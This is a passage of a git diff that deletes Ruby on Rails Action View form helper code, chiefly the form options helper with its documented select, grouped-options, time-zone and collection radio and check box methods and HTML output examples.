-            association = @object.send(association_name)
-          end
-
-          if association.respond_to?(:to_ary)
-            explicit_child_index = options[:child_index]
-            output = ActiveSupport::SafeBuffer.new
-            association.each do |child|
-              options[:child_index] = nested_child_index(name) unless explicit_child_index
-              output << fields_for_nested_model("#{name}[#{options[:child_index]}]", child, options, block)
-            end
-            output
-          elsif association
-            fields_for_nested_model(name, association, options, block)
-          end
-        end
-
-        def fields_for_nested_model(name, object, fields_options, block)
-          object = convert_to_model(object)
-          emit_hidden_id = object.persisted? && fields_options.fetch(:include_id) {
-            options.fetch(:include_id, true)
-          }
-
-          @template.fields_for(name, object, fields_options) do |f|
-            output = @template.capture(f, &block)
-            output.concat f.hidden_field(:id) if output && emit_hidden_id && !f.emitted_hidden_id?
-            output
-          end
-        end
-
-        def nested_child_index(name)
-          @nested_child_index[name] ||= -1
-          @nested_child_index[name] += 1
-        end
-    end
-  end
-
-  ActiveSupport.on_load(:action_view) do
-    cattr_accessor(:default_form_builder) { ::ActionView::Helpers::FormBuilder }
-  end
-end
diff --git a/actionpack/lib/action_view/helpers/form_options_helper.rb b/actionpack/lib/action_view/helpers/form_options_helper.rb
deleted file mode 100644
index 82781e7..0000000
--- a/actionpack/lib/action_view/helpers/form_options_helper.rb
+++ /dev/null
@@ -1,838 +0,0 @@
-require 'cgi'
-require 'erb'
-require 'action_view/helpers/form_helper'
-require 'active_support/core_ext/string/output_safety'
-require 'active_support/core_ext/array/extract_options'
-require 'active_support/core_ext/array/wrap'
-
-module ActionView
-  # = Action View Form Option Helpers
-  module Helpers
-    # Provides a number of methods for turning different kinds of containers into a set of option tags.
-    #
-    # The <tt>collection_select</tt>, <tt>select</tt> and <tt>time_zone_select</tt> methods take an <tt>options</tt> parameter, a hash:
-    #
-    # * <tt>:include_blank</tt> - set to true or a prompt string if the first option element of the select element is a blank. Useful if there is not a default value required for the select element.
-    #
-    #   select("post", "category", Post::CATEGORIES, {include_blank: true})
-    #
-    # could become:
-    #
-    #   <select name="post[category]">
-    #     <option></option>
-    #     <option>joke</option>
-    #     <option>poem</option>
-    #   </select>
-    #
-    # Another common case is a select tag for a <tt>belongs_to</tt>-associated object.
-    #
-    # Example with @post.person_id => 2:
-    #
-    #   select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {include_blank: 'None'})
-    #
-    # could become:
-    #
-    #   <select name="post[person_id]">
-    #     <option value="">None</option>
-    #     <option value="1">David</option>
-    #     <option value="2" selected="selected">Sam</option>
-    #     <option value="3">Tobias</option>
-    #   </select>
-    #
-    # * <tt>:prompt</tt> - set to true or a prompt string. When the select element doesn't have a value yet, this prepends an option with a generic prompt -- "Please select" -- or the given prompt string.
-    #
-    #   select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {prompt: 'Select Person'})
-    #
-    # could become:
-    #
-    #   <select name="post[person_id]">
-    #     <option value="">Select Person</option>
-    #     <option value="1">David</option>
-    #     <option value="2">Sam</option>
-    #     <option value="3">Tobias</option>
-    #   </select>
-    #
-    # Like the other form helpers, +select+ can accept an <tt>:index</tt> option to manually set the ID used in the resulting output. Unlike other helpers, +select+ expects this
-    # option to be in the +html_options+ parameter.
-    #
-    #   select("album[]", "genre", %w[rap rock country], {}, { index: nil })
-    #
-    # becomes:
-    #
-    #   <select name="album[][genre]" id="album__genre">
-    #     <option value="rap">rap</option>
-    #     <option value="rock">rock</option>
-    #     <option value="country">country</option>
-    #   </select>
-    #
-    # * <tt>:disabled</tt> - can be a single value or an array of values that will be disabled options in the final output.
-    #
-    #   select("post", "category", Post::CATEGORIES, {disabled: 'restricted'})
-    #
-    # could become:
-    #
-    #   <select name="post[category]">
-    #     <option></option>
-    #     <option>joke</option>
-    #     <option>poem</option>
-    #     <option disabled="disabled">restricted</option>
-    #   </select>
-    #
-    # When used with the <tt>collection_select</tt> helper, <tt>:disabled</tt> can also be a Proc that identifies those options that should be disabled.
-    #
-    #   collection_select(:post, :category_id, Category.all, :id, :name, {disabled: lambda{|category| category.archived? }})
-    #
-    # If the categories "2008 stuff" and "Christmas" return true when the method <tt>archived?</tt> is called, this would return:
-    #   <select name="post[category_id]">
-    #     <option value="1" disabled="disabled">2008 stuff</option>
-    #     <option value="2" disabled="disabled">Christmas</option>
-    #     <option value="3">Jokes</option>
-    #     <option value="4">Poems</option>
-    #   </select>
-    #
-    module FormOptionsHelper
-      # ERB::Util can mask some helpers like textilize. Make sure to include them.
-      include TextHelper
-
-      # Create a select tag and a series of contained option tags for the provided object and method.
-      # The option currently held by the object will be selected, provided that the object is available.
-      #
-      # There are two possible formats for the +choices+ parameter, corresponding to other helpers' output:
-      #
-      # * A flat collection (see +options_for_select+).
-      #
-      # * A nested collection (see +grouped_options_for_select+).
-      #
-      # For example:
-      #
-      #   select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, { include_blank: true })
-      #
-      # would become:
-      #
-      #   <select name="post[person_id]">
-      #     <option value=""></option>
-      #     <option value="1" selected="selected">David</option>
-      #     <option value="2">Sam</option>
-      #     <option value="3">Tobias</option>
-      #   </select>
-      #
-      # assuming the associated person has ID 1.
-      #
-      # This can be used to provide a default set of options in the standard way: before rendering the create form, a
-      # new model instance is assigned the default options and bound to @model_name. Usually this model is not saved
-      # to the database. Instead, a second model object is created when the create request is received.
-      # This allows the user to submit a form page more than once with the expected results of creating multiple records.
-      # In addition, this allows a single partial to be used to generate form inputs for both edit and create forms.
-      #
-      # By default, <tt>post.person_id</tt> is the selected option. Specify <tt>selected: value</tt> to use a different selection
-      # or <tt>selected: nil</tt> to leave all options unselected. Similarly, you can specify values to be disabled in the option
-      # tags by specifying the <tt>:disabled</tt> option. This can either be a single value or an array of values to be disabled.
-      #
-      # ==== Gotcha
-      #
-      # The HTML specification says when +multiple+ parameter passed to select and all options got deselected
-      # web browsers do not send any value to server. Unfortunately this introduces a gotcha:
-      # if an +User+ model has many +roles+ and have +role_ids+ accessor, and in the form that edits roles of the user
-      # the user deselects all roles from +role_ids+ multiple select box, no +role_ids+ parameter is sent. So,
-      # any mass-assignment idiom like
-      #
-      #   @user.update(params[:user])
-      #
-      # wouldn't update roles.
-      #
-      # To prevent this the helper generates an auxiliary hidden field before
-      # every multiple select. The hidden field has the same name as multiple select and blank value.
-      #
-      # This way, the client either sends only the hidden field (representing
-      # the deselected multiple select box), or both fields. Since the HTML specification
-      # says key/value pairs have to be sent in the same order they appear in the
-      # form, and parameters extraction gets the last occurrence of any repeated
-      # key in the query string, that works for ordinary forms.
-      #
-      # In case if you don't want the helper to generate this hidden field you can specify
-      # <tt>include_hidden: false</tt> option.
-      #
-      def select(object, method, choices, options = {}, html_options = {})
-        Tags::Select.new(object, method, self, choices, options, html_options).render
-      end
-
-      # Returns <tt><select></tt> and <tt><option></tt> tags for the collection of existing return values of
-      # +method+ for +object+'s class. The value returned from calling +method+ on the instance +object+ will
-      # be selected. If calling +method+ returns +nil+, no selection is made without including <tt>:prompt</tt>
-      # or <tt>:include_blank</tt> in the +options+ hash.
-      #
-      # The <tt>:value_method</tt> and <tt>:text_method</tt> parameters are methods to be called on each member
-      # of +collection+. The return values are used as the +value+ attribute and contents of each
-      # <tt><option></tt> tag, respectively. They can also be any object that responds to +call+, such
-      # as a +proc+, that will be called for each member of the +collection+ to
-      # retrieve the value/text.
-      #
-      # Example object structure for use with this method:
-      #
-      #   class Post < ActiveRecord::Base
-      #     belongs_to :author
-      #   end
-      #
-      #   class Author < ActiveRecord::Base
-      #     has_many :posts
-      #     def name_with_initial
-      #       "#{first_name.first}. #{last_name}"
-      #     end
-      #   end
-      #
-      # Sample usage (selecting the associated Author for an instance of Post, <tt>@post</tt>):
-      #
-      #   collection_select(:post, :author_id, Author.all, :id, :name_with_initial, prompt: true)
-      #
-      # If <tt>@post.author_id</tt> is already <tt>1</tt>, this would return:
-      #   <select name="post[author_id]">
-      #     <option value="">Please select</option>
-      #     <option value="1" selected="selected">D. Heinemeier Hansson</option>
-      #     <option value="2">D. Thomas</option>
-      #     <option value="3">M. Clark</option>
-      #   </select>
-      def collection_select(object, method, collection, value_method, text_method, options = {}, html_options = {})
-        Tags::CollectionSelect.new(object, method, self, collection, value_method, text_method, options, html_options).render
-      end
-
-      # Returns <tt><select></tt>, <tt><optgroup></tt> and <tt><option></tt> tags for the collection of existing return values of
-      # +method+ for +object+'s class. The value returned from calling +method+ on the instance +object+ will
-      # be selected. If calling +method+ returns +nil+, no selection is made without including <tt>:prompt</tt>
-      # or <tt>:include_blank</tt> in the +options+ hash.
-      #
-      # Parameters:
-      # * +object+ - The instance of the class to be used for the select tag
-      # * +method+ - The attribute of +object+ corresponding to the select tag
-      # * +collection+ - An array of objects representing the <tt><optgroup></tt> tags.
-      # * +group_method+ - The name of a method which, when called on a member of +collection+, returns an
-      #   array of child objects representing the <tt><option></tt> tags.
-      # * +group_label_method+ - The name of a method which, when called on a member of +collection+, returns a
-      #   string to be used as the +label+ attribute for its <tt><optgroup></tt> tag.
-      # * +option_key_method+ - The name of a method which, when called on a child object of a member of
-      #   +collection+, returns a value to be used as the +value+ attribute for its <tt><option></tt> tag.
-      # * +option_value_method+ - The name of a method which, when called on a child object of a member of
-      #   +collection+, returns a value to be used as the contents of its <tt><option></tt> tag.
-      #
-      # Example object structure for use with this method:
-      #
-      #   class Continent < ActiveRecord::Base
-      #     has_many :countries
-      #     # attribs: id, name
-      #   end
-      #
-      #   class Country < ActiveRecord::Base
-      #     belongs_to :continent
-      #     # attribs: id, name, continent_id
-      #   end
-      #
-      #   class City < ActiveRecord::Base
-      #     belongs_to :country
-      #     # attribs: id, name, country_id
-      #   end
-      #
-      # Sample usage:
-      #
-      #   grouped_collection_select(:city, :country_id, @continents, :countries, :name, :id, :name)
-      #
-      # Possible output:
-      #
-      #   <select name="city[country_id]">
-      #     <optgroup label="Africa">
-      #       <option value="1">South Africa</option>
-      #       <option value="3">Somalia</option>
-      #     </optgroup>
-      #     <optgroup label="Europe">
-      #       <option value="7" selected="selected">Denmark</option>
-      #       <option value="2">Ireland</option>
-      #     </optgroup>
-      #   </select>
-      #
-      def grouped_collection_select(object, method, collection, group_method, group_label_method, option_key_method, option_value_method, options = {}, html_options = {})
-        Tags::GroupedCollectionSelect.new(object, method, self, collection, group_method, group_label_method, option_key_method, option_value_method, options, html_options).render
-      end
-
-      # Return select and option tags for the given object and method, using
-      # #time_zone_options_for_select to generate the list of option tags.
-      #
-      # In addition to the <tt>:include_blank</tt> option documented above,
-      # this method also supports a <tt>:model</tt> option, which defaults
-      # to ActiveSupport::TimeZone. This may be used by users to specify a
-      # different time zone model object. (See +time_zone_options_for_select+
-      # for more information.)
-      #
-      # You can also supply an array of ActiveSupport::TimeZone objects
-      # as +priority_zones+, so that they will be listed above the rest of the
-      # (long) list. (You can use ActiveSupport::TimeZone.us_zones as a convenience
-      # for obtaining a list of the US time zones, or a Regexp to select the zones
-      # of your choice)
-      #
-      # Finally, this method supports a <tt>:default</tt> option, which selects
-      # a default ActiveSupport::TimeZone if the object's time zone is +nil+.
-      #
-      #   time_zone_select( "user", "time_zone", nil, include_blank: true)
-      #
-      #   time_zone_select( "user", "time_zone", nil, default: "Pacific Time (US & Canada)" )
-      #
-      #   time_zone_select( "user", 'time_zone', ActiveSupport::TimeZone.us_zones, default: "Pacific Time (US & Canada)")
-      #
-      #   time_zone_select( "user", 'time_zone', [ ActiveSupport::TimeZone['Alaska'], ActiveSupport::TimeZone['Hawaii'] ])
-      #
-      #   time_zone_select( "user", 'time_zone', /Australia/)
-      #
-      #   time_zone_select( "user", "time_zone", ActiveSupport::TimeZone.all.sort, model: ActiveSupport::TimeZone)
-      def time_zone_select(object, method, priority_zones = nil, options = {}, html_options = {})
-        Tags::TimeZoneSelect.new(object, method, self, priority_zones, options, html_options).render
-      end
-
-      # Accepts a container (hash, array, enumerable, your type) and returns a string of option tags. Given a container
-      # where the elements respond to first and last (such as a two-element array), the "lasts" serve as option values and
-      # the "firsts" as option text. Hashes are turned into this form automatically, so the keys become "firsts" and values
-      # become lasts. If +selected+ is specified, the matching "last" or element will get the selected option-tag. +selected+
-      # may also be an array of values to be selected when using a multiple select.
-      #
-      #   options_for_select([["Dollar", "$"], ["Kroner", "DKK"]])
-      #   # => <option value="$">Dollar</option>
-      #   # => <option value="DKK">Kroner</option>
-      #
-      #   options_for_select([ "VISA", "MasterCard" ], "MasterCard")
-      #   # => <option>VISA</option>
-      #   # => <option selected="selected">MasterCard</option>
-      #
-      #   options_for_select({ "Basic" => "$20", "Plus" => "$40" }, "$40")
-      #   # => <option value="$20">Basic</option>
-      #   # => <option value="$40" selected="selected">Plus</option>
-      #
-      #   options_for_select([ "VISA", "MasterCard", "Discover" ], ["VISA", "Discover"])
-      #   # => <option selected="selected">VISA</option>
-      #   # => <option>MasterCard</option>
-      #   # => <option selected="selected">Discover</option>
-      #
-      # You can optionally provide html attributes as the last element of the array.
-      #
-      #   options_for_select([ "Denmark", ["USA", {class: 'bold'}], "Sweden" ], ["USA", "Sweden"])
-      #   # => <option value="Denmark">Denmark</option>
-      #   # => <option value="USA" class="bold" selected="selected">USA</option>
-      #   # => <option value="Sweden" selected="selected">Sweden</option>
-      #
-      #   options_for_select([["Dollar", "$", {class: "bold"}], ["Kroner", "DKK", {onclick: "alert('HI');"}]])
-      #   # => <option value="$" class="bold">Dollar</option>
-      #   # => <option value="DKK" onclick="alert('HI');">Kroner</option>
-      #
-      # If you wish to specify disabled option tags, set +selected+ to be a hash, with <tt>:disabled</tt> being either a value
-      # or array of values to be disabled. In this case, you can use <tt>:selected</tt> to specify selected option tags.
-      #
-      #   options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], disabled: "Super Platinum")
-      #   # => <option value="Free">Free</option>
-      #   # => <option value="Basic">Basic</option>
-      #   # => <option value="Advanced">Advanced</option>
-      #   # => <option value="Super Platinum" disabled="disabled">Super Platinum</option>
-      #
-      #   options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], disabled: ["Advanced", "Super Platinum"])
-      #   # => <option value="Free">Free</option>
-      #   # => <option value="Basic">Basic</option>
-      #   # => <option value="Advanced" disabled="disabled">Advanced</option>
-      #   # => <option value="Super Platinum" disabled="disabled">Super Platinum</option>
-      #
-      #   options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], selected: "Free", disabled: "Super Platinum")
-      #   # => <option value="Free" selected="selected">Free</option>
-      #   # => <option value="Basic">Basic</option>
-      #   # => <option value="Advanced">Advanced</option>
-      #   # => <option value="Super Platinum" disabled="disabled">Super Platinum</option>
-      #
-      # NOTE: Only the option tags are returned, you have to wrap this call in a regular HTML select tag.
-      def options_for_select(container, selected = nil)
-        return container if String === container
-
-        selected, disabled = extract_selected_and_disabled(selected).map do |r|
-          Array(r).map { |item| item.to_s }
-        end
-
-        container.map do |element|
-          html_attributes = option_html_attributes(element)
-          text, value = option_text_and_value(element).map { |item| item.to_s }
-
-          html_attributes[:selected] = 'selected' if option_value_selected?(value, selected)
-          html_attributes[:disabled] = 'disabled' if disabled && option_value_selected?(value, disabled)
-          html_attributes[:value] = value
-
-          content_tag_string(:option, text, html_attributes)
-        end.join("\n").html_safe
-      end
-
-      # Returns a string of option tags that have been compiled by iterating over the +collection+ and assigning
-      # the result of a call to the +value_method+ as the option value and the +text_method+ as the option text.
-      #
-      #   options_from_collection_for_select(@people, 'id', 'name')
-      #   # => <option value="#{person.id}">#{person.name}</option>
-      #
-      # This is more often than not used inside a #select_tag like this example:
-      #
-      #   select_tag 'person', options_from_collection_for_select(@people, 'id', 'name')
-      #
-      # If +selected+ is specified as a value or array of values, the element(s) returning a match on +value_method+
-      # will be selected option tag(s).
-      #
-      # If +selected+ is specified as a Proc, those members of the collection that return true for the anonymous
-      # function are the selected values.
-      #
-      # +selected+ can also be a hash, specifying both <tt>:selected</tt> and/or <tt>:disabled</tt> values as required.
-      #
-      # Be sure to specify the same class as the +value_method+ when specifying selected or disabled options.
-      # Failure to do this will produce undesired results. Example:
-      #   options_from_collection_for_select(@people, 'id', 'name', '1')
-      # Will not select a person with the id of 1 because 1 (an Integer) is not the same as '1' (a string)
-      #   options_from_collection_for_select(@people, 'id', 'name', 1)
-      # should produce the desired results.
-      def options_from_collection_for_select(collection, value_method, text_method, selected = nil)
-        options = collection.map do |element|
-          [value_for_collection(element, text_method), value_for_collection(element, value_method), option_html_attributes(element)]
-        end
-        selected, disabled = extract_selected_and_disabled(selected)
-        select_deselect = {
-          :selected => extract_values_from_collection(collection, value_method, selected),
-          :disabled => extract_values_from_collection(collection, value_method, disabled)
-        }
-
-        options_for_select(options, select_deselect)
-      end
-
-      # Returns a string of <tt><option></tt> tags, like <tt>options_from_collection_for_select</tt>, but
-      # groups them by <tt><optgroup></tt> tags based on the object relationships of the arguments.
-      #
-      # Parameters:
-      # * +collection+ - An array of objects representing the <tt><optgroup></tt> tags.
-      # * +group_method+ - The name of a method which, when called on a member of +collection+, returns an
-      #   array of child objects representing the <tt><option></tt> tags.
-      # * group_label_method+ - The name of a method which, when called on a member of +collection+, returns a
-      #   string to be used as the +label+ attribute for its <tt><optgroup></tt> tag.
-      # * +option_key_method+ - The name of a method which, when called on a child object of a member of
-      #   +collection+, returns a value to be used as the +value+ attribute for its <tt><option></tt> tag.
-      # * +option_value_method+ - The name of a method which, when called on a child object of a member of
-      #   +collection+, returns a value to be used as the contents of its <tt><option></tt> tag.
-      # * +selected_key+ - A value equal to the +value+ attribute for one of the <tt><option></tt> tags,
-      #   which will have the +selected+ attribute set. Corresponds to the return value of one of the calls
-      #   to +option_key_method+. If +nil+, no selection is made. Can also be a hash if disabled values are
-      #   to be specified.
-      #
-      # Example object structure for use with this method:
-      #
-      #   class Continent < ActiveRecord::Base
-      #     has_many :countries
-      #     # attribs: id, name
-      #   end
-      #
-      #   class Country < ActiveRecord::Base
-      #     belongs_to :continent
-      #     # attribs: id, name, continent_id
-      #   end
-      #
-      # Sample usage:
-      #   option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3)
-      #
-      # Possible output:
-      #   <optgroup label="Africa">
-      #     <option value="1">Egypt</option>
-      #     <option value="4">Rwanda</option>
-      #     ...
-      #   </optgroup>
-      #   <optgroup label="Asia">
-      #     <option value="3" selected="selected">China</option>
-      #     <option value="12">India</option>
-      #     <option value="5">Japan</option>
-      #     ...
-      #   </optgroup>
-      #
-      # <b>Note:</b> Only the <tt><optgroup></tt> and <tt><option></tt> tags are returned, so you still have to
-      # wrap the output in an appropriate <tt><select></tt> tag.
-      def option_groups_from_collection_for_select(collection, group_method, group_label_method, option_key_method, option_value_method, selected_key = nil)
-        collection.map do |group|
-          option_tags = options_from_collection_for_select(
-            group.send(group_method), option_key_method, option_value_method, selected_key)
-
-          content_tag(:optgroup, option_tags, :label => group.send(group_label_method))
-        end.join.html_safe
-      end
-
-      # Returns a string of <tt><option></tt> tags, like <tt>options_for_select</tt>, but
-      # wraps them with <tt><optgroup></tt> tags.
-      #
-      # Parameters:
-      # * +grouped_options+ - Accepts a nested array or hash of strings. The first value serves as the
-      #   <tt><optgroup></tt> label while the second value must be an array of options. The second value can be a
-      #   nested array of text-value pairs. See <tt>options_for_select</tt> for more info.
-      #    Ex. ["North America",[["United States","US"],["Canada","CA"]]]
-      # * +selected_key+ - A value equal to the +value+ attribute for one of the <tt><option></tt> tags,
-      #   which will have the +selected+ attribute set. Note: It is possible for this value to match multiple options
-      #   as you might have the same option in multiple groups. Each will then get <tt>selected="selected"</tt>.
-      #
-      # Options:
-      # * <tt>:prompt</tt> - set to true or a prompt string. When the select element doesn't have a value yet, this
-      #   prepends an option with a generic prompt - "Please select" - or the given prompt string.
-      # * <tt>:divider</tt> - the divider for the options groups.
-      #
-      #   grouped_options = [
-      #    ['North America',
-      #      [['United States','US'],'Canada']],
-      #    ['Europe',
-      #      ['Denmark','Germany','France']]
-      #   ]
-      #   grouped_options_for_select(grouped_options)
-      #
-      #   grouped_options = {
-      #     'North America' => [['United States','US'], 'Canada'],
-      #     'Europe' => ['Denmark','Germany','France']
-      #   }
-      #   grouped_options_for_select(grouped_options)
-      #
-      # Possible output:
-      #   <optgroup label="North America">
-      #     <option value="US">United States</option>
-      #     <option value="Canada">Canada</option>
-      #   </optgroup>
-      #   <optgroup label="Europe">
-      #     <option value="Denmark">Denmark</option>
-      #     <option value="Germany">Germany</option>
-      #     <option value="France">France</option>
-      #   </optgroup>
-      #
-      #   grouped_options = [
-      #     [['United States','US'], 'Canada'],
-      #     ['Denmark','Germany','France']
-      #   ]
-      #   grouped_options_for_select(grouped_options, nil, divider: '---------')
-      #
-      # Possible output:
-      #   <optgroup label="---------">
-      #     <option value="US">United States</option>
-      #     <option value="Canada">Canada</option>
-      #   </optgroup>
-      #   <optgroup label="---------">
-      #     <option value="Denmark">Denmark</option>
-      #     <option value="Germany">Germany</option>
-      #     <option value="France">France</option>
-      #   </optgroup>
-      #
-      # <b>Note:</b> Only the <tt><optgroup></tt> and <tt><option></tt> tags are returned, so you still have to
-      # wrap the output in an appropriate <tt><select></tt> tag.
-      def grouped_options_for_select(grouped_options, selected_key = nil, options = {})
-        if options.is_a?(Hash)
-          prompt  = options[:prompt]
-          divider = options[:divider]
-        else
-          prompt  = options
-          options = {}
-          message = "Passing the prompt to grouped_options_for_select as an argument is deprecated. " \
-                    "Please use an options hash like `{ prompt: #{prompt.inspect} }`."
-          ActiveSupport::Deprecation.warn message
-        end
-
-        body = "".html_safe
-
-        if prompt
-          body.safe_concat content_tag(:option, prompt_text(prompt), :value => "")
-        end
-
-        grouped_options.each do |container|
-          if divider
-            label = divider
-          else
-            label, container = container
-          end
-          body.safe_concat content_tag(:optgroup, options_for_select(container, selected_key), :label => label)
-        end
-
-        body
-      end
-
-      # Returns a string of option tags for pretty much any time zone in the
-      # world. Supply a ActiveSupport::TimeZone name as +selected+ to have it
-      # marked as the selected option tag. You can also supply an array of
-      # ActiveSupport::TimeZone objects as +priority_zones+, so that they will
-      # be listed above the rest of the (long) list. (You can use
-      # ActiveSupport::TimeZone.us_zones as a convenience for obtaining a list
-      # of the US time zones, or a Regexp to select the zones of your choice)
-      #
-      # The +selected+ parameter must be either +nil+, or a string that names
-      # a ActiveSupport::TimeZone.
-      #
-      # By default, +model+ is the ActiveSupport::TimeZone constant (which can
-      # be obtained in Active Record as a value object). The only requirement
-      # is that the +model+ parameter be an object that responds to +all+, and
-      # returns an array of objects that represent time zones.
-      #
-      # NOTE: Only the option tags are returned, you have to wrap this call in
-      # a regular HTML select tag.
-      def time_zone_options_for_select(selected = nil, priority_zones = nil, model = ::ActiveSupport::TimeZone)
-        zone_options = "".html_safe
-
-        zones = model.all
-        convert_zones = lambda { |list| list.map { |z| [ z.to_s, z.name ] } }
-
-        if priority_zones
-          if priority_zones.is_a?(Regexp)
-            priority_zones = zones.select { |z| z =~ priority_zones }
-          end
-
-          zone_options.safe_concat options_for_select(convert_zones[priority_zones], selected)
-          zone_options.safe_concat content_tag(:option, '-------------', :value => '', :disabled => 'disabled')
-          zone_options.safe_concat "\n"
-
-          zones = zones - priority_zones
-        end
-
-        zone_options.safe_concat options_for_select(convert_zones[zones], selected)
-      end
-
-      # Returns radio button tags for the collection of existing return values
-      # of +method+ for +object+'s class. The value returned from calling
-      # +method+ on the instance +object+ will be selected. If calling +method+
-      # returns +nil+, no selection is made.
-      #
-      # The <tt>:value_method</tt> and <tt>:text_method</tt> parameters are
-      # methods to be called on each member of +collection+. The return values
-      # are used as the +value+ attribute and contents of each radio button tag,
-      # respectively. They can also be any object that responds to +call+, such
-      # as a +proc+, that will be called for each member of the +collection+ to
-      # retrieve the value/text.
-      #
-      # Example object structure for use with this method:
-      #   class Post < ActiveRecord::Base
-      #     belongs_to :author
-      #   end
-      #   class Author < ActiveRecord::Base
-      #     has_many :posts
-      #     def name_with_initial
-      #       "#{first_name.first}. #{last_name}"
-      #     end
-      #   end
-      #
-      # Sample usage (selecting the associated Author for an instance of Post, <tt>@post</tt>):
-      #   collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial)
-      #
-      # If <tt>@post.author_id</tt> is already <tt>1</tt>, this would return:
-      #   <input id="post_author_id_1" name="post[author_id]" type="radio" value="1" checked="checked" />
-      #   <label for="post_author_id_1">D. Heinemeier Hansson</label>
-      #   <input id="post_author_id_2" name="post[author_id]" type="radio" value="2" />
-      #   <label for="post_author_id_2">D. Thomas</label>
-      #   <input id="post_author_id_3" name="post[author_id]" type="radio" value="3" />
-      #   <label for="post_author_id_3">M. Clark</label>
-      #
-      # It is also possible to customize the way the elements will be shown by
-      # giving a block to the method:
-      #   collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) do |b|
-      #     b.label { b.radio_button }
-      #   end
-      #
-      # The argument passed to the block is a special kind of builder for this
-      # collection, which has the ability to generate the label and radio button
-      # for the current item in the collection, with proper text and value.
-      # Using it, you can change the label and radio button display order or
-      # even use the label as wrapper, as in the example above.
-      #
-      # The builder methods <tt>label</tt> and <tt>radio_button</tt> also accept
-      # extra html options:
-      #   collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) do |b|
-      #     b.label(class: "radio_button") { b.radio_button(class: "radio_button") }
-      #   end
-      #
-      # There are also three special methods available: <tt>object</tt>, <tt>text</tt> and
-      # <tt>value</tt>, which are the current item being rendered, its text and value methods,
-      # respectively. You can use them like this:
-      #   collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) do |b|
-      #      b.label(:"data-value" => b.value) { b.radio_button + b.text }
-      #   end
-      def collection_radio_buttons(object, method, collection, value_method, text_method, options = {}, html_options = {}, &block)
-        Tags::CollectionRadioButtons.new(object, method, self, collection, value_method, text_method, options, html_options).render(&block)
-      end
-
-      # Returns check box tags for the collection of existing return values of
-      # +method+ for +object+'s class. The value returned from calling +method+
-      # on the instance +object+ will be selected. If calling +method+ returns
-      # +nil+, no selection is made.
-      #
-      # The <tt>:value_method</tt> and <tt>:text_method</tt> parameters are
-      # methods to be called on each member of +collection+. The return values
-      # are used as the +value+ attribute and contents of each check box tag,
-      # respectively. They can also be any object that responds to +call+, such
-      # as a +proc+, that will be called for each member of the +collection+ to
-      # retrieve the value/text.
-      #
-      # Example object structure for use with this method:
-      #   class Post < ActiveRecord::Base
-      #     has_and_belongs_to_many :authors
-      #   end
-      #   class Author < ActiveRecord::Base
-      #     has_and_belongs_to_many :posts
-      #     def name_with_initial
-      #       "#{first_name.first}. #{last_name}"
-      #     end
-      #   end
-      #
-      # Sample usage (selecting the associated Author for an instance of Post, <tt>@post</tt>):
-      #   collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial)
-      #
-      # If <tt>@post.author_ids</tt> is already <tt>[1]</tt>, this would return:
-      #   <input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" checked="checked" />
-      #   <label for="post_author_ids_1">D. Heinemeier Hansson</label>
-      #   <input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" />
-      #   <label for="post_author_ids_2">D. Thomas</label>
-      #   <input id="post_author_ids_3" name="post[author_ids][]" type="checkbox" value="3" />
-      #   <label for="post_author_ids_3">M. Clark</label>
-      #   <input name="post[author_ids][]" type="hidden" value="" />
-      #
-      # It is also possible to customize the way the elements will be shown by
-      # giving a block to the method:
-      #   collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
-      #     b.label { b.check_box }
-      #   end
-      #
-      # The argument passed to the block is a special kind of builder for this
-      # collection, which has the ability to generate the label and check box
-      # for the current item in the collection, with proper text and value.
-      # Using it, you can change the label and check box display order or even
-      # use the label as wrapper, as in the example above.
-      #
-      # The builder methods <tt>label</tt> and <tt>check_box</tt> also accept
-      # extra html options:
-      #   collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
-      #     b.label(class: "check_box") { b.check_box(class: "check_box") }
-      #   end
-      #
-      # There are also three special methods available: <tt>object</tt>, <tt>text</tt> and
-      # <tt>value</tt>, which are the current item being rendered, its text and value methods,
-      # respectively. You can use them like this:
-      #   collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
-      #      b.label(:"data-value" => b.value) { b.check_box + b.text }
-      #   end
-      def collection_check_boxes(object, method, collection, value_method, text_method, options = {}, html_options = {}, &block)
-        Tags::CollectionCheckBoxes.new(object, method, self, collection, value_method, text_method, options, html_options).render(&block)
-      end
-
-      private
-        def option_html_attributes(element)
-          if Array === element
-            element.select { |e| Hash === e }.reduce({}, :merge!)
-          else
-            {}
-          end
-        end
-
-        def option_text_and_value(option)
-          # Options are [text, value] pairs or strings used for both.
-          if !option.is_a?(String) && option.respond_to?(:first) && option.respond_to?(:last)
-            option = option.reject { |e| Hash === e } if Array === option
-            [option.first, option.last]
-          else
-            [option, option]
-          end
-        end
-
-        def option_value_selected?(value, selected)
-          Array(selected).include? value
-        end
-
-        def extract_selected_and_disabled(selected)
-          if selected.is_a?(Proc)
-            [selected, nil]
-          else
-            selected = Array.wrap(selected)
-            options = selected.extract_options!.symbolize_keys
-            selected_items = options.fetch(:selected, selected)
-            [selected_items, options[:disabled]]
-          end
-        end
-
-        def extract_values_from_collection(collection, value_method, selected)
-          if selected.is_a?(Proc)
-            collection.map do |element|
-              element.send(value_method) if selected.call(element)
-            end.compact
-          else
-            selected
-          end
-        end
-
-        def value_for_collection(item, value)
-          value.respond_to?(:call) ? value.call(item) : item.send(value)
-        end
-
-        def prompt_text(prompt)
-          prompt.kind_of?(String) ? prompt : I18n.translate('helpers.select.prompt', :default => 'Please select')
-        end
-    end
-
-    class FormBuilder
-      # Wraps ActionView::Helpers::FormOptionsHelper#select for form builders:
-      #
-      #   <%= form_for @post do |f| %>
-      #     <%= f.select :person_id, Person.all.collect {|p| [ p.name, p.id ] }, { include_blank: true }) %>
